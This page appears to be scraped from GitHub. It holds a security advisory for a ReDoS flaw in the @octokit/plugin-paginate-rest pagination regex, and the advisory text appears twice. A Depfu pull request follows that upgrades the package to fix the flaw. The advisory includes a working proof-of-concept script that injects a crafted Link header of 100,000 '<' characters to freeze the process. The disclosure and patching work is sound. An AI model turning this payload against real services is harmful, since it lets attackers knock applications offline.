Summary
For the npm package@octokit/plugin-paginate-rest
, when callingoctokit.paginate.iterator()
, a specially craftedoctokit
instance—particularly with a maliciouslink
parameter in theheaders
section of therequest
—can trigger a ReDoS attack.
Details
The issue occurs atline 39 of iterator.ts in the @octokit/plugin-paginate-rest repository. The relevant code is as follows:
url=((normalizedResponse.headers.link||"").match(/<([^>]+)>;\s*rel="next"/,)||[])[1];
The regular expression/<([^>]+)>;\s*rel="next"/
may lead to a potential backtracking vulnerability, resulting in a ReDoS (Regular Expression Denial of Service) attack. This could cause high CPU utilization and even service slowdowns or freezes when processing specially craftedLink
headers.
PoC
The gist of PoC.js
- run npm i @octokit/plugin-paginate-rest
- run 'node poc.js'
result: - then the program will stuck forever with high CPU usage
import{Octokit}from"@octokit/core";import{paginateRest}from"@octokit/plugin-paginate-rest";constMyOctokit=Octokit.plugin(paginateRest);
constoctokit=newMyOctokit({
auth:"your-github-token",
});
// Intercept the request to inject a malicious 'link' header for ReDoS
octokit.hook.wrap("request",async(request,options)=>{
constmaliciousLinkHeader=""+"<".repeat(100000)+">";// attack string
return{
data:[],
headers:{
link:maliciousLinkHeader,// Inject malicious 'link' header
},
};
});
// Trigger the ReDoS attack by paginating through GitHub issues
(async()=>{
try{
forawait(constnormalizedResponseofoctokit.paginate.iterator(
"GET /repos/{owner}/{repo}/issues",{owner:"DayShift",repo:"ReDos",per_page:100}
)){
console.log({ normalizedResponse});
}
}catch(error){
console.error("Error encountered:",error);
}
})();

Impact
What kind of vulnerability is it?
This is aRegular Expression Denial of Service (ReDoS) vulnerability, which occurs due to excessive backtracking in the regex pattern:
/<([^>]+)>;\s*rel="next"/
When processing a specially craftedLink
header, this regex can cause significant performance degradation, leading to high CPU utilization and potential service unresponsiveness.
Who is impacted?
- Users of
@octokit/plugin-paginate-rest
who calloctokit.paginate.iterator()
and process untrusted or manipulatedLink
headers. - Applications relying on Octokit's pagination mechanism, particularly those handling large volumes of API requests.
- GitHub API consumers who integrate this package into their projects for paginated data retrieval.
Summary
For the npm package@octokit/plugin-paginate-rest
, when callingoctokit.paginate.iterator()
, a specially craftedoctokit
instance—particularly with a maliciouslink
parameter in theheaders
section of therequest
—can trigger a ReDoS attack.
Details
The issue occurs atline 39 of iterator.ts in the @octokit/plugin-paginate-rest repository. The relevant code is as follows:
url=((normalizedResponse.headers.link||"").match(/<([^>]+)>;\s*rel="next"/,)||[])[1];
The regular expression/<([^>]+)>;\s*rel="next"/
may lead to a potential backtracking vulnerability, resulting in a ReDoS (Regular Expression Denial of Service) attack. This could cause high CPU utilization and even service slowdowns or freezes when processing specially craftedLink
headers.
PoC
The gist of PoC.js
- run npm i @octokit/plugin-paginate-rest
- run 'node poc.js'
result: - then the program will stuck forever with high CPU usage
import{Octokit}from"@octokit/core";import{paginateRest}from"@octokit/plugin-paginate-rest";constMyOctokit=Octokit.plugin(paginateRest);
constoctokit=newMyOctokit({
auth:"your-github-token",
});
// Intercept the request to inject a malicious 'link' header for ReDoS
octokit.hook.wrap("request",async(request,options)=>{
constmaliciousLinkHeader=""+"<".repeat(100000)+">";// attack string
return{
data:[],
headers:{
link:maliciousLinkHeader,// Inject malicious 'link' header
},
};
});
// Trigger the ReDoS attack by paginating through GitHub issues
(async()=>{
try{
forawait(constnormalizedResponseofoctokit.paginate.iterator(
"GET /repos/{owner}/{repo}/issues",{owner:"DayShift",repo:"ReDos",per_page:100}
)){
console.log({ normalizedResponse});
}
}catch(error){
console.error("Error encountered:",error);
}
})();

Impact
What kind of vulnerability is it?
This is aRegular Expression Denial of Service (ReDoS) vulnerability, which occurs due to excessive backtracking in the regex pattern:
/<([^>]+)>;\s*rel="next"/
When processing a specially craftedLink
header, this regex can cause significant performance degradation, leading to high CPU utilization and potential service unresponsiveness.
Who is impacted?
- Users of
@octokit/plugin-paginate-rest
who calloctokit.paginate.iterator()
and process untrusted or manipulatedLink
headers. - Applications relying on Octokit's pagination mechanism, particularly those handling large volumes of API requests.
- GitHub API consumers who integrate this package into their projects for paginated data retrieval.
Uh oh!
There was an error while loading.Please reload this page.
Welcome to Depfu 👋
This is one of the first three pull requests with dependency updates we've sent your way. We tried to start with a few easy patch-level updates. Hopefully your tests will pass and you can merge this pull request without too much risk. This should give you an idea how Depfu works in general.
After you merge your first pull request, we'll send you a few more. We'll never open more than seven PRs at the same time so you're not getting overwhelmed with updates.
Let us know if you have any questions. Thanks so much for giving Depfu a try!
🚨Your current dependencies have known security vulnerabilities 🚨
This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!
Here is everything you need to know about this upgrade. Please take a good look at what changed and the test results before merging this pull request.
What changed?
✳️ @octokit/plugin-paginate-rest (2.3.0 → 11.4.2) ·Repo
Security Advisories 🚨
🚨 @octokit/plugin-paginate-rest has a Regular Expression in iterator Leads to ReDoS Vulnerability Due to Catastrophic Backtracking
🚨 @octokit/plugin-paginate-rest has a Regular Expression in iterator Leads to ReDoS Vulnerability Due to Catastrophic Backtracking
Release Notes
Too many releases to show here. View thefull release notes.
Commits
See the full diff on Github. The new version differs by 2 commits:
fix(types): add back the pagination keys (#653)
chore(deps): update dependency prettier to v3.5.1 (#658)
🆕 @octokit/openapi-types (added, 12.11.0)
Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with
@depfu rebase
.All Depfu comment commands